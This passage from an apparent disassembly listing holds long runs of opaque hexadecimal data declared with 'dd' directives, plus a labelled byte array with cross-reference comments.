		dd 0D5F19EBh, 80E52F3Bh, 3F5C535h, 8277Ah, 3C67620Fh, 0BC3961B9h
		dd 0F2BF0C00h, 185AD496h, 0A46F00EEh, 8A0B8E1Dh, 48004C6Ah
		dd 0AE88BD7h, 3259914h,	0D3A64641h, 93A75283h, 0FECF8E3Ah
		dd 80E2F484h, 861D4AEDh, 92CE8B00h, 0BB5AB487h,	470D0FD7h
		dd 50801BBEh, 28126870h, 4D734F00h, 0D70CF81Fh,	345E0299h
		dd 1AE3443Ah, 0C3B1C4C0h, 1D4C8200h, 0F0CC1C0h,	181F461h
		dd 1B70CE8Fh, 0C037A9AEh, 0C200B9BFh, 34AFACA5h, 79047FAh
		dd 0CC1D4D66h, 0DE5D0355h, 5E54FDC0h, 3EEE3100h, 0E1B32B3Bh
		dd 0CAD3002Dh, 0AA7C8DFEh, 440FA25Dh, 0E7B23009h, 6450A10Dh
		dd 346B475h, 7917878Ah,	34C0DC3Bh, 0A207C433h, 22CEC81Fh
		dd 0F691D910h, 8CF400BBh, 78FD4963h, 150024BAh,	32101D36h
		dd 8F79F5h, 0D39302D4h,	0BF9B312Bh, 18AF040Fh, 0FD4BA087h
		dd 1EF03B7Bh, 4F0F0108h, 77839BF8h, 5E90C15Ch, 4D7404B8h
		dd 0D6009C79h, 10D48261h, 35A4AEFh, 0CE94B59Ah,	0B9B0EA5Bh
		dd 0E9009EC8h, 7802D601h, 187D25F4h, 29494115h,	9A0E3BF1h
		dd 0EEDBD9D0h, 2412E771h, 36FEF3B0h, 1BC60006h,	51E2145h
		dd 27009AAEh, 0A9D5DA13h, 13F567Ah, 0D91F9462h,	200EC838h
		dd 7C0011A8h, 0BC820DBEh, 0FFAAB0h, 16EC977Ah, 8133D340h
		dd 6AEA0600h, 72767B1Ch, 981E0057h, 357CC9B3h, 63005458h
		dd 0AC9945D2h, 7768Ch, 933882Fh, 0F83B287Dh, 0C2734A00h
		dd 1343B437h, 0F6D100C1h, 50F2D54Bh, 0C579566Bh, 0E321CA00h
		dd 31835BECh, 9BA5004Ah, 22EDB6F5h, 500F8BFh, 71422B06h
		dd 0E6B94123h, 2670B14h, 0A601DBB6h, 0D8B3D18Eh, 4B041B84h
		dd 0EEE05C4Ah, 97B7480h, 76FB008Dh, 0EBF1BB7Ch,	0CC00692Eh
		dd 6C0B9CAAh, 3E42C06h,	0B981ACD2h, 0A9C0A071h,	55EA1776h
		dd 83001A70h, 0D7B06977h, 72AA23Ch, 6F4436E8h, 58C8F089h
		dd 7807D1F2h, 183F5384h, 49707577h, 6CF9FFh, 0AE2BA59h
		dd 550189F3h, 214F5600h, 7C63DF44h, 0CEAB0033h,	0F0A8CD06h
		dd 2C036B84h, 7DB10FFh,	0C1D4B871h, 77040018h, 6E4F2757h
		dd 61005FF3h, 8730532Ah, 38E7C5E1h, 1E001D8Bh, 6A9F4282h
		dd 0B70018F8h, 0E096655h, 1E49456Eh, 809ACA64h,	0A05B3DFEh
		dd 691476ADh, 1CB07A9Dh, 0AF40247Ch, 2ACCD450h,	70F900B3h
		dd 594015B8h, 460EB107h, 0E08325E0h, 74097D84h,	0BB9D00C5h
		dd 923212F7h, 7A03DD98h, 0F01F39CAh, 6794806Dh,	1FEE1h
		dd 0DE193237h, 7C7446DFh, 8BFE001h, 147753A5h, 0D1F01ACDh
		dd 81B00067h, 591DF86Fh, 8F06D42Eh, 2F3E9D90h, 40FA0072h
		dd 0B106B64Bh, 0D0B5E80Bh, 668F03BEh, 0C3877E1Ch, 4CDCC6D8h
		dd 17F7BF01h, 4AADE2ACh, 336A91CCh, 0D8281A81h,	34B03AB0h
		dd 0B9BCDF01h, 0C5EC30E8h, 0F713880h, 77C95D54h, 905B9D00h
		dd 88336BA1h, 797503E3h, 569BF283h, 0BBA025E3h,	0DA71E817h
		dd 6591F00h, 5B7E6F8Dh,	159C0085h, 0ECBC7F19h, 0C800AF4Fh
		dd 3F667C2Ah, 7AE887A5h, 6FFB00ABh, 31C542FFh, 0F600237Fh
		dd 91652B39h, 0B0692F44h, 0CCF223h, 5A4EC694h, 155CA47Bh
		dd 47FFA701h, 39B11838h, 0F4E4A5D1h, 5275070Eh,	0E04D70DFh
		dd 0DADB5ED7h, 0DC739D00h, 99F077Dh, 0E3FE0244h, 0E0BC1916h
		dd 0E26D62E0h, 5FA5DB0Fh, 60BFAF6Bh, 20B4D660h,	2B70C054h
		dd 0E715EE2Fh, 803081C0h, 6E2359h, 534EB8C7h, 0BADE2AF5h
		dd 0B000C07Dh, 243A0D25h, 0EC9F163h, 47018C2Bh,	59737141h
		dd 9E836062h, 34796507h, 9FB092B1h, 0D4C7C4h, 51AD7628h
		dd 0F04CB9C5h, 3E716800h, 665F8EE4h, 987D07EFh,	61AC343Dh
		dd 30BE4A06h, 720790ADh, 0BFFCC47Ch, 303C6950h,	0C8855019h
		dd 7ABBECA2h, 5ACB1CF5h, 4849800Bh, 56FCE779h, 0F600E190h
		dd 2CC7A15Dh, 30C7B53h,	0BF6BC1CCh, 0B5E81585h,	0FA481AFDh
		dd 5EA400A3h, 0A057AD29h, 42CC00CAh, 364C6331h,	0A60F929Dh
		dd 0E127B57Bh, 0BEC956CBh, 7308083h, 499B7F3Eh,	0F82CEDA0h
		dd 5BA1200h, 5B75AF9Ah,	8AEF0065h, 5F024997h, 0B7007C2Fh
		dd 0D872D656h, 3240770h, 0DE32A8ACh, 3D99F579h,	40B44196h
		dd 202286h, 71D3414Eh, 166002h,	2CDD1584h, 46962E9Bh, 0B02B9401h
		dd 35AAE861h, 0D8DCDFD9h, 29CE00D4h, 0BE5986F0h, 8D0062E5h
		dd 9714977h, 7ABA7C7Fh,	0CDD10087h, 1A95253Eh, 1C03B252h
		dd 3D17129Ch, 0E0F09FEFh, 0D541FFh, 0A5F806B5h,	0AF37F3BEh
		dd 0DCB26C00h, 11174B7Eh, 0F65DF6E9h, 329900F4h, 6BC42ED3h
		dd 52C9A43h, 1617BA76h,	0CB52D603h, 0E896C82Bh,	223A0E68h
		dd 90404CE4h, 0B0492C62h, 89A44A1Ch, 1FA35F01h,	2620376Ch
		dd 0F8B52653h, 0ABBF000Ch, 0D9451B0h, 92C1561Fh, 0E2377800h
		dd 0EC4A4Ch, 0AE856DC8h, 19367A7Fh, 64B80D07h, 9D60DFDAh
		dd 38DF4ABh, 25B175CCh,	0E2FB03E7h, 0F8498289h,	5B3F6296h
		dd 2677BF0Bh, 0FB07F525h, 0B8B12914h, 9BEC7298h, 0CB400A4h
		dd 796B641Fh, 100774C3h, 203E0FBEh, 6904C120h, 0A3B2001Dh
		dd 7725EB4Ah, 0FC004D10h, 1F192CA5h, 0DAE575h, 838BE88Fh
		dd 33BBBA7Dh, 0A395EF00h, 0FADC52DBh, 0ADF01F67h, 0F8F600B6h
		dd 494D234Ch, 50056E05h, 41C01639h, 98FF29h, 0A3DAA936h
		dd 0F00DB169h, 0A1223300h, 264A90C1h, 0E2DB398Ah, 5F087C81h
		dd 0C892FB2Dh, 4514F4B2h, 8541C5h, 0C7E902B4h, 2E0633A7h
		dd 0F9398h, 43C1EF5Dh, 0A507D112h, 0D22749BFh, 0EBE1BE70h
		dd 0A3EE0080h, 0B2890A6Ah, 2CE08C54h, 0E4FD0871h, 0DE00A1AAh
		dd 11569643h, 295434h, 0B6BB914Eh, 57FC9C23h, 0E9229403h
		dd 804CB4C2h, 1D4032BFh, 8020D8B1h, 0AFCB806Dh,	4CF48C76h
		dd 83AF517h, 5A245E07h,	895232E0h, 4D590038h, 5F5E9006h
		dd 74016669h, 6F7E536Dh, 9609747h, 2A8D00C7h, 0B7E83E05h
		dd 0FD586E87h, 0C1950569h, 3B80E4CBh, 115308Dh,	0E0BAF10Eh
		dd 30109AAFh, 0B4985DF8h, 218BF400h, 119DC08Eh,	0B83C384Eh
		dd 0E36707F9h, 0F1F675FBh, 0E0B2122Dh, 89003A8Ch, 87A72C02h
		dd 98FBF117h, 0EE0D00B2h, 8508C97Dh, 0D20172E1h, 3FD329B6h
		dd 40FE9F99h, 0C40BE0h,	720A4A54h, 0E19ADA44h, 9C36372Ah
		dd 0E16348h, 886204ECh,	18126h,	0F95CE874h, 3B12BDFEh
		dd 2F0F0E0Fh, 0FDA98061h, 2C20CEEBh, 0E8E3C68h,	0D12E0385h
		dd 0D0C84300h, 7648EE12h, 49AB0010h, 69673819h,	24E000F6h
		dd 61A3AA2h, 53001293h,	0B73364C5h, 0FAE678h, 905FF847h
		dd 4ABB8A5h, 69F16B09h,	4D9401F3h, 5FC79DFh, 2BC0083h
		dd 0BDA9011Bh, 96006F2Fh, 4AAB683Dh, 7D24DDh, 7F0CEF48h
		dd 0EE9D6DF8h, 17E7751Ch, 10A29840h, 54A7EAh, 0E3AA9CE5h
		dd 0DFCD197Ch, 3F3DD91Eh, 7E8C1EC0h, 854076h, 0EC32283Ch
		dd 0C9CFBF49h, 80868D3Bh, 0B89CDAD1h, 70BB4F3h,	0E1FC2004h
		dd 0DFCE2070h, 4F01F7CCh, 7D4AEA81h, 2130AD4Dh,	0BB8C26B0h
		dd 237400BCh, 0CC9D1C29h, 80E0C63Fh, 60E9F45Ch,	0FD696Dh
		dd 1FF58622h, 2878CEDFh, 0A58858h, 0BE65E85h, 0EE7AE8E9h
		dd 8630073h, 0EDF73296h, 0A9260784h, 0A885BC4Fh, 0EC0E7561h
		dd 0D86640C0h, 0CECC229h, 0EEC4CED7h, 0E00DB18h, 87DCB42Ah
		dd 0C172643Bh, 0A5AC5331h, 5848807Eh, 0CEE5E9CAh, 102204E1h
		dd 0C085B1E0h, 0F2622528h, 0AD0D1D01h, 0DFFEEA8Bh, 573F70h
		dd 0FFDA5BB9h, 0CD56D36Fh, 750FFB0Ch, 0F85E5054h, 0B9ED0071h
		dd 0B08476C7h, 0F80063EBh, 0AE87CD1Ch, 0E4F04ECCh, 77FF0061h
		dd 0FEDEE8A2h, 6E025C3Bh, 0CD5376BFh, 0B2DAE0A6h, 97C0C09Eh
		dd 8720ACE3h, 0A34D2186h, 0E524C200h, 0CF796Eh,	59543852h
		dd 2CA1CA1Fh, 34038607h, 0E340A3DDh, 498593h, 5F512F7Eh
		dd 82CCA2D0h, 9F150600h, 0B7274413h, 3DEA0320h,	2B921170h
		dd 80FDC1B3h, 7FD0CA2Bh, 43350600h, 0CB30692Ah,	0D74F0008h
		dd 4AB6FFADh, 0A800EB3Bh, 320FE16Dh, 7AC86125h,	2ABC8Ah
		dd 0F923C04Dh, 0F3FAE40Eh, 0F67E0500h, 0CFCE47B0h, 5A5400C5h
		dd 5B512560h, 2F01E08Eh, 1742AC0Bh, 0F0F9D591h,	0FAF9E1F8h
		dd 480C0003h, 0C692CCD8h, 31007A4Fh, 0DB8613B6h, 5D6CBEBh
		dd 4EA89976h, 0AD98408Bh, 0B7E9EF0h, 571601Dh, 0A3E15783h
		dd 0DB210044h, 59DDED88h, 7F0FB6E6h, 84B92FD8h,	800A8D35h
		dd 63E100ACh, 0C9E06111h, 0FD0984F0h, 32735Ah, 4B097BA0h
		dd 30866165h, 244D3999h, 14003054h, 606C11DBh, 16791Ch
		dd 0DDE50DFEh, 73DAA1BDh, 3887A624h, 0A0F96E00h, 0C5A8B1h
		dd 0C330D134h, 0FC04D568h, 23EED901h, 551DCA7Ah, 54081D0h
		dd 7443722Ch, 708090ABh, 1C3E03DAh, 132A9626h, 0FDDCA600h
		dd 7FAF4CEh, 0E341F6BAh, 4A5D007Eh, 6C003022h, 6DA3B904h
		dd 9CC010h, 4BED7F7Dh, 1AF0D66Bh, 0DD21F30Fh, 9ABAC0F2h
		dd 137315h, 925EEAE2h, 7CFEE7CEh, 59E66D07h, 71456FACh
		dd 0B8EADD00h, 8F2657h,	7F167A70h, 0DA2336AEh, 9047F900h
		dd 8C4DEEACh, 9F7200A8h, 0D6D46D80h, 197824D5h,	747E40C0h
		dd 1B0C0CBh, 75399C36h,	0D0134C0Eh, 20D8F94Dh, 3C8EC0D4h
		dd 0C48197B6h, 1F1C63ABh, 7EA08980h, 7908013Dh,	70BA8EBDh
		dd 72B0703Ah, 84E07EC1h, 10FCE900h, 0DD6C9B51h,	18F52AD5h
		dd 0C02E0440h, 63143683h, 0F541016Fh, 1FD8C09Fh, 609CE119h
		dd 72678D90h, 6280E948h, 0E06C9A93h, 6F880016h,	8B3FE670h
		dd 6B00B868h, 32FF6D48h, 0BB9F94h, 0BE2D1609h, 95A91F82h
		dd 44D0AA00h, 0FE8E56B0h, 3F575E6h, 6D367967h, 26B0FDBBh
		dd 0F800FFCBh, 899854AFh, 0D35CE1h, 0B2D25B86h,	96B1F184h
		dd 0D90134F8h, 0BC60E376h, 12F4D194h, 0C7800037h, 0E1642679h
		dd 0F41E3F3Bh, 0AA006FC5h, 0FC320335h, 9B2F001Dh, 75648268h
		dd 0A16055CFh, 9F06E840h, 461D089h, 18A2A2B8h, 87E0417h
		dd 54CE20EAh, 8A56007Fh, 1DF3E82Fh, 6BA43D00h, 399F6C22h
		dd 0FB16004Bh, 2DBB95CDh, 9D5FD799h, 5E2BE0h, 944FD5Bh
		dd 0A6104FE7h, 6E9950C0h, 1FAA0B17h, 792A2Bh, 26FFA91Ch
		dd 46009BFCh, 2CFE6693h, 51B2BABh, 325102FAh, 8F2038A6h
		dd 0FB001D46h, 3994427h, 88DE06DFh, 55BE9606h, 0CB892CC8h
		dd 111504C7h, 82848718h, 887E406h, 4FAE80D3h, 510016EDh
		dd 6FF9FC8Dh, 0D59823h,	0FEAF27Eh, 0B906A76Eh, 9601FAECh
		dd 89A23E04h, 88E191A4h, 0BADC6080h, 41307B17h,	0F10A0400h
		dd 71D77FFFh, 98465029h, 1C42B0BEh, 940FEB27h, 7001B421h
		dd 8F7701A2h, 5BB7C0FAh, 0C40773FEh, 9FE591D8h,	1BB661CCh
		dd 0B00FEE1Fh, 62BA1019h, 205181B0h, 0F8F3BE22h, 472A6EDFh
		dd 0DB9A9D92h, 592010B0h, 8E9C0548h, 6CD73A2Ch,	95019240h
		dd 5178E98Bh, 0B5D847D2h, 3A8700D0h, 4A8FDCEh, 316135E8h
		dd 0A25D5818h, 3BE1BAF0h, 10EC6193h, 4A1E7741h,	0B500328Eh
		dd 10A3E59Dh, 0E61E009Eh, 0EE1D1275h, 1100CFC6h, 5DB553AEh
		dd 1F6189B1h, 3C49FF9h,	2E5A7A79h, 3A8F37C8h, 0EE02E179h
		dd 783EECAFh, 0A74C1011h, 46983204h, 0A27C8E06h, 0F25B040h
		dd 0D3E61FA8h, 0FEBA5DA0h, 7400E8BDh, 0C0047A40h, 639F67F2h
		dd 5279198Ah, 0B5FFC0E4h, 9028E66h, 0F65AE651h,	2320B0AAh
		dd 0B14B428Dh, 40E81C2h, 89B972A9h, 0BB88E601h,	560F0EE1h
		dd 80118D93h, 1C5439ABh, 3562328Bh, 209C5C80h, 0A0590211h
		dd 4C8080D8h, 4185E0F2h, 1C8B2E5Eh, 18407B48h, 40D4D197h
		dd 1084A14Ah, 0C2E689D3h, 38A2EA22h, 590A3EFBh,	40DD74E4h
		dd 2BE596F0h, 220B601h,	0DF232D81h, 0E0E21515h,	0C676B204h
		dd 0FA6081D6h, 2C29C85Dh, 0A8009DF0h, 3E061265h, 1342F237h
		dd 7EF1B81h, 375D6A8Bh,	11D9C032h, 0C700F7E5h, 4536B7CFh
		dd 14DD5912h, 207AD0B1h, 0A4248EC7h, 3D102A6Ah,	78FBE0CCh
		dd 0BC1F23DEh, 0EC3CC1E4h, 85FFB908h, 0F81DD6BBh, 0F0489842h
		dd 494254ACh, 0DA4617C0h, 0B457FF88h, 20318A60h, 894B058h
		dd 69BDB857h, 50FF5F1h,	80AF1C52h, 43396078h, 0F8E881DEh
		dd 205EAE21h, 8B811D30h, 0AA018952h, 20D63739h,	0A8337D55h
		dd 870E12h, 26144237h, 0A89B3641h, 65324E62h, 0AF4030C8h
		dd 6C23FE0Dh, 2C62E454h, 1D870272h, 53B6E09Fh, 30B6213Eh
		dd 21D3E04Fh, 0C2072FCDh, 9F0AC280h, 8B1A211Eh,	7386B940h
		dd 0C74321DAh, 604B4A51h, 65405407h, 0DEF948A0h, 0DA22000Bh
		dd 0A98DE482h, 9F20AD3Fh, 4168AC32h, 139FE666h,	1468EA3Ch
		dd 8CAEFA01h, 8F0F1697h, 0BD36081Fh, 6340ECEBh,	6185A07Dh
		dd 0BED7286h, 0E099D104h, 1A212A08h, 0F617A7E0h, 0C58E4729h
		dd 6028C3AEh, 0CB181036h, 0A74AA80Ah, 9AA8580h,	0CA08CA43h
		dd 405A601Eh, 0AF353313h, 41921840h, 0B52449F3h, 2005E4C6h
		dd 2C9871A9h, 15400247h, 35328312h, 4163C3Eh, 514CAAACh
		dd 91D6D850h, 0F20820AFh
		dd 1C4C260Dh, 9BB9012h
		db 0A7h
byte_530055	db 0BEh, 0A8h, 0B8h	; DATA XREF: ___:off_437A2Co
					; ___:off_437A44o
		dd 2616DD48h, 5488BD40h, 40DE0121h, 8DB646B3h, 50110921h
		dd 20A5D785h, 0FC8C5401h, 405BB5A8h, 23758903h,	7F97F51h
		dd 41E53047h, 1549A01Dh, 41B4E40h, 735AF622h, 0C51D0372h
		dd 44B39CBCh, 51D81800h, 0AE3E3B09h, 0F0DBFAFCh, 0E8D0555h
		dd 20AFEFBDh, 0EAD15C20h, 41A1D742h, 88020E90h,	0AD1EDE32h
		dd 4019523Eh, 437F66C0h, 888FBB37h, 3A508FEDh, 7CC31CE6h
		dd 0F151E15Fh, 710E204Bh, 0BCE8B8D0h, 0B85F9h, 61E0E698h
		dd 8FA8A221h, 0A0F0DD90h, 6E11E214h, 89E2538Bh,	0E6800216h
		dd 35AB6A66h, 0A110A095h, 69C001B4h, 0A6DA9F3h,	28903584h
		dd 0A9E605A5h, 78DD60A0h, 0FD3CCD20h, 9200463Dh, 0D5C1105Bh
		dd 928FBCD6h, 82202D79h, 2821B140h, 0CD0815BFh,	0FE837006h
		dd 1F3531EDh, 20D12BC0h, 27E62A80h, 911098BCh, 6E55040h
		dd 63BE0187h, 1FA890B2h, 60016114h, 0ECB52BA0h,	0A2C0DC52h
		dd 76809EF5h, 0A0525244h, 4E0739B1h, 21AB0580h,	0A02A6CCEh
		dd 2DE0E921h, 85153AC7h, 402C3D45h, 636A14C7h, 1A8A0A1h
		dd 322341C3h, 2E5DB0C3h, 6F82071Bh, 0FFFA1AFEh,	0B313CA01h
		dd 8E5420FFh, 0A742AC0Ch, 22DE5106h, 0B01C6419h, 0B402EBBh
		dd 1DB56DF3h, 2D680F5Ah, 7CE3099Dh, 381E4277h, 139851DCh
		dd 0F3F9988h, 0A217851Eh, 0BE364681h, 3778EC4Eh, 79965B0Fh
		dd 0AB8680BFh, 49E2CFh,	3E1DA211h, 0D2BE10A4h, 9F2F973Dh
		dd 3B0013FAh, 0BBC35267h, 31997CDDh, 6631F809h,	0A720DA2Ah
		dd 80145EFCh, 6300FF81h, 0E9C2D73Fh, 6789B9Dh, 0A9EDD68Fh
		dd 0B030A241h, 1B2650A0h, 7896035Eh, 5872D20Eh,	2ABE1B8h
		dd 0C4851500h, 4224C968h, 3E1E0022h, 1294E656h,	4600A162h
		dd 19AA2A88h, 4788DC9h,	6A8E5EBFh, 0CCB1065Ch, 9CF8E8h
		dd 0A815253Ch, 238C5526h, 0BF447E03h, 0B3337F34h, 0CE301D4Eh
		dd 8DC70353h, 207EBA77h, 220EC903h, 90C488B1h, 21B302h
		dd 0A05EBE7Ah, 74C21AF4h, 3CCF5C00h, 0E54BD13Dh, 20BB00C8h
		dd 49ABC6EDh, 0C330EEFCh, 7F5808Ch, 9CE450B6h, 0AB8400A3h
		dd 0C10CE54Dh, 9000D0ACh, 0C207B297h, 5CF417B1h, 0C900CF85h
		dd 0F49B86Dh, 710FB9CAh, 80919A40h, 907C17A3h, 0A4285210h
		dd 0BECF9700h, 2DA575ABh, 27967918h, 28337B18h,	729098B0h
		dd 7CFE006Ch, 4867B524h, 4639C60Fh, 5FA08066h, 0E42FF7Fh
		dd 9B882AB3h, 7F9F2A8h,	0B24B2697h, 8E018882h, 0A160E612h
		dd 33BB2886h, 1003192h,	9559EF66h, 91EEBDDh, 61A8280Fh
		dd 7FF1000h, 16022DF6h,	0FCAD22A2h, 42D0A738h, 7832FCEAh
		dd 80D7299Eh, 48B0590Eh, 60100A4h, 0DD941D17h, 3B524777h
		dd 724BE8A8h, 457801F9h, 0E40219BFh, 53F0407Eh,	0E7754CC4h
		dd 0F005CF8h, 0EE61EBBBh, 7EE0F907h, 7C8D1E32h,	7C3DB5h
		dd 60E49155h, 6F3A39E8h, 0AAC07501h, 33FFAEA9h,	1B4C4BC4h
		dd 31B73B79h, 0C084E093h, 0FE3117C4h, 180A4A33h, 3A9BA035h
		dd 0EFB73E9Ah, 0D708407Dh, 60F23F18h, 1DA27580h, 162C4B4h
		dd 0D35D3D9h, 0CB2182B3h, 80DCE47Dh, 0F50F7550h, 5C731F77h
		dd 0E3A68053h, 0E5DD6A7Bh, 82D3400h, 4B84132Ch,	51CE3AD9h
		dd 400A23Ch, 0ACC47E14h, 0D030D73Dh, 1FCE192Dh,	985900A3h
		dd 7310C79Ch, 0D400F3DDh, 0FA483F39h, 0FC3FE7Fh, 8DBF427Dh
		dd 0D3F8D603h, 0DFA8D18Bh, 43FA737Ah, 0A7A5F600h, 3EFA85B5h
		dd 0EFC30048h, 32C149A6h, 0B6666CE8h, 688A6Ah, 0DFA32E15h
		dd 8457D3B9h, 80473C3Eh, 92BA5B8Bh, 49CA5h, 0C9A6CC12h
		dd 32840A2Ch, 0BF5B80C0h, 0AB9AE2h, 0A9F7FCCBh,	0C9418803h
		dd 0D30D0B1Ah, 0DF44C048h, 0D0CF6139h, 0F0EE5904h, 9D0CE692h
		dd 195A0CABh, 0B20F07FCh, 0C3427AFBh, 3CC0C3E9h, 2EF05C3Eh
		dd 0B8E03670h, 9E792B71h, 0F37AD103h, 195AFF0h,	0D6F97310h
		dd 414667F1h, 0DCEF6980h, 9800DBBDh, 1747A4C2h,	5120D7h
		dd 3EE8F4D2h, 0D26BC9Ah, 0AC3DA128h, 0C88A900Ah, 6F87BC5Fh
		dd 30CC8BC0h, 0AA5BF88Dh, 5FC1400Ch, 28CBF89Fh,	180C5AB7h
		dd 31504D4Fh, 0A77C9353h, 5EAD0D1Fh, 9DD13243h,	10D2C397h
		dd 0AFF17B8h, 8041259Bh, 9F6D7F85h, 0B7ABA001h,	3BE9DF13h
		dd 0A19C8043h, 80FEFFCFh, 4FF02FA0h, 10757DA0h,	613ACC3Dh
		dd 9F587719h, 11A71701h, 90E7E7A1h, 28BE0F9Dh, 39CC6A49h
		dd 8EB0C556h, 310D27D8h, 95849E50h, 8DF18A11h, 6415007Ch
		dd 13CE476Ch, 24AE49CBh, 19DCF436h, 0C7801F48h,	2A90104Fh
		dd 6F018471h, 332377D8h, 304C8DD1h, 2D3D0F06h, 0CFE9A15Ah
		dd 40F70C07h, 8E44DF12h, 10807A52h, 0B78EA745h,	4FA3464Fh
		dd 0E7C1F1D0h, 0E5A84096h, 0FC28228Ah, 104A49Ah, 7027FD3Ah
		dd 0D8600341h, 37898E87h, 5B146543h, 0D865E84Ch, 0C0B8605Dh
		dd 0A3BFA41Ch, 0E8C46CF6h, 3087448Eh, 9F413CAAh, 400875A0h
		dd 8489A821h, 217A466Ch, 0B182243h, 62302148h, 30C78D79h
		dd 0AD00073Fh, 60D450BDh, 0D62FCDh, 810EC5D3h, 3A30961h
		dd 54005BF0h, 571DA1B2h, 0B090D1h, 0CA7DB723h, 0D692D29Eh
		dd 0B3DF0603h, 0CBC70FA9h, 656FE847h, 0F50C0F39h, 57E0349Eh
		dd 25C2BDDEh, 1383B604h, 86BEAE12h, 0DB223183h,	1B20C66Ch
		dd 4B0098FCh, 6D7CB93h,	0ABA8A767h, 0B5AF9330h,	28D71806h
		dd 40930051h, 0DA54D32Bh, 32010CC6h, 0B2F2A689h, 6048137Dh
		dd 0A51F2109h, 0CFC14308h, 0D36267C8h, 2EC12E71h, 432F319h
		dd 61F19C44h, 0C9FA961h, 56122105h, 0A40E7184h,	3C985B22h
		dd 0D52236F7h, 740B2341h, 0D8FFD30Ah, 55499C83h, 468009Bh
		dd 0B1A88348h, 38C4374Dh, 0D7615797h, 7958521Ch, 42496538h
		dd 1071112Eh, 310DF184h, 0C458ACB3h, 946D53ABh,	883C3329h
		dd 0ED62D63Bh, 9B9D202Fh, 67314149h, 35BAC004h,	8D1030BCh
		dd 38F989AFh, 4262E548h, 0AC2D2904h, 3805B112h,	0E8061A09h
		dd 10313B0Dh, 85013921h, 6C2011B9h, 84A52E99h, 0DB60EB49h
		dd 6C09B57Ah, 0A60158Fh, 62DC356Fh, 18B648BBh, 0C511F714h
		dd 9C932B30h, 848A0F8Ah, 0CBA88D67h, 6FD83A08h,	0A5C11208h
		dd 83089EE1h, 0DB3F108Eh, 482384C6h, 0C271F61h,	4D3CA63Dh
		dd 318A08D9h, 0BCB9613Ch, 8E7308A4h, 42CED73Bh,	6826E71Ah
		dd 631B3C02h, 61724466h, 0A099218Ch, 63C1D94h, 156FCBB6h
		dd 9CFC8111h, 20E52C20h, 0BB440398h, 6CF5547Bh,	0D8EB2021h
		dd 49E6EC0Dh, 4442716Dh, 7FD88203h, 0C89327CDh,	60B06B0Ah
		dd 0FF083849h, 0B92386F4h, 66890462h, 38ED2204h, 82429A91h
		dd 8A9C7F2Bh, 65D8DD8Fh, 4F3C33B7h, 616931BCh, 4A203D18h
		dd 2FA4002Eh, 374B30CAh, 3E7E7A0Dh, 380916B0h, 218960D1h
		dd 1C9B3ACh, 9D872080h,	0CB6AD861h, 5C7211F8h, 0C0413B30h
		dd 73A0CA4Dh, 0EC3530D2h, 1C6FCC51h, 34D87961h,	2448C8B1h
		dd 84DE4CBh, 12A8170Eh,	631EC542h, 0A09810C8h, 0B1186428h
		dd 58A03522h, 3842DFA5h, 580E6C30h, 0C44B628h, 59601B86h
		dd 0E5120D10h, 0E44F3706h, 19038C1Dh, 0A2CB0F83h, 310E7695h
		dd 2D3919A2h, 729FA882h, 0AF558800h, 5830C004h,	96BC5219h
		dd 0C13E0E05h, 944242DEh, 16D62FB1h, 4E6B5F18h,	31578E0h
		dd 7624413Ah, 81010D49h, 601A31D5h, 0D0864D99h,	29142C17h
		dd 69124671h, 800261C6h, 0A1058726h, 3E7B8DB0h,	496038BBh
		dd 361B6955h, 0C0244407h, 0E8C5F48Dh, 0F56A9C42h, 32CCA2D7h
		dd 14A8919Ch, 0A44C3EE1h
		dd 413D0171h, 0FD498138h, 0DB1020ECh, 0A9030616h, 0C8D99858h
		dd 16692C4Ch, 0FCA80C4h, 0D29D78E3h, 492D3A05h,	9820B0B5h
		dd 0A0A9FE61h, 9016F8A4h, 0D82DE65Ah, 0B771D0E1h, 0D2720A03h
		dd 0C8D42CB5h, 0E4D7E1h, 60096E76h, 1B6F3C96h, 0A2296C60h
		dd 0D3242Eh, 4F478506h,	0F9132A8Dh, 1073F830h, 88FD6455h
		dd 0D78DDC5h, 8633EF00h, 7E25D3E2h, 7DD2F023h, 60F2009Eh
		dd 34918A38h, 0F550265Bh, 0C678E1BEh, 3F9EC100h, 0DD540776h
		dd 4510C05Ah, 0FE80E34Fh, 0F0B630A9h, 0EE1133F0h, 7B00D411h
		dd 0EF610AE1h, 58A08A54h, 2B605F3Dh, 234DF4F1h,	0B2F501EBh
		dd 0D6D33B53h, 9108DF5Eh, 0BC138E74h, 6DB96800h, 0F9F60346h
		dd 0C1BFE2FEh, 6E21234Fh, 0AB300C01h, 336C7FD8h, 2DA012F7h
		dd 9C1A200Fh, 77CF02DDh, 118AF5Ch, 32C24739h, 3754B450h
		dd 0CC3E6BEh, 528F439Bh, 3868DCA8h, 6201CC20h, 9B987FC2h
		dd 37E1F181h, 85237DD3h, 0D92706A0h, 0C50A21F8h, 0B1BC5C7Ah
		dd 8AD45B28h, 1486C1B0h, 943C831h, 0F67B4085h, 0AAA400BFh
		dd 0FE025DF2h, 405FF833h, 0A86F9381h, 0C0ABC9Fh, 0EDC2905Ah
		dd 703AE790h, 28BB3EEBh, 0F001D033h, 0EEDC7AB5h, 41E0C003h
		dd 4FBA07AEh, 0E0719F7Fh, 44E0600Ah, 6FC82854h,	589B7335h
		dd 0FD1E2C06h, 0F84D0558h, 1D383676h, 98118694h, 3D0CC0F5h
		dd 292E4061h, 0CC6F0AE1h, 5A06DC9h, 5459951h, 53A5448h
		dd 215F3B28h, 8CECCCA8h, 90604710h, 984B0C9Eh, 9AC16182h
		dd 0C1EFA76h, 0C781708Ch, 0FF8A905Dh, 0DB474986h, 7202385Ah
		dd 0C7AEC083h, 0C1C8A2A4h, 0DC2CA035h, 7FC54FB1h, 4421C086h
		dd 9A47124Dh, 87C6C70Ah, 6285D057h, 0A041EA58h,	3407323Fh
		dd 0A6D22450h, 7B949055h, 5CC12A04h, 0B7E30C48h, 5AD8630Fh
		dd 0D0800C00h, 6AF6C3A4h, 54D40064h, 3716B89Fh,	18C07D0Eh
		dd 0CE097C38h, 10A26745h, 25F4C0E9h, 7111676h, 0E100E8BDh
		dd 0B6428BFBh, 7B037F35h, 0A58E3ABCh, 3E4818E6h, 0B93869E9h
		dd 79E5C00h, 54B7C243h,	5880E936h, 4EECDCC8h, 67000835h
		dd 46C4F9C7h, 6385C9BFh, 0C08868B9h, 89F61CA3h,	330C7BF0h
		dd 10F18C3Bh, 792601C3h, 7654D5B8h, 5598047h, 0AB6E7319h
		dd 85B718AEh, 3B261946h, 4EA26202h, 0A0BBBA08h,	0C4E23A34h
		dd 7E1100FBh, 400576EEh, 0A4769ED3h, 81EF607h, 0FAAF3h
		dd 4CE94FB7h, 0AB7B2AF0h, 151C0090h, 8EAAEEB5h,	5050A96Ah
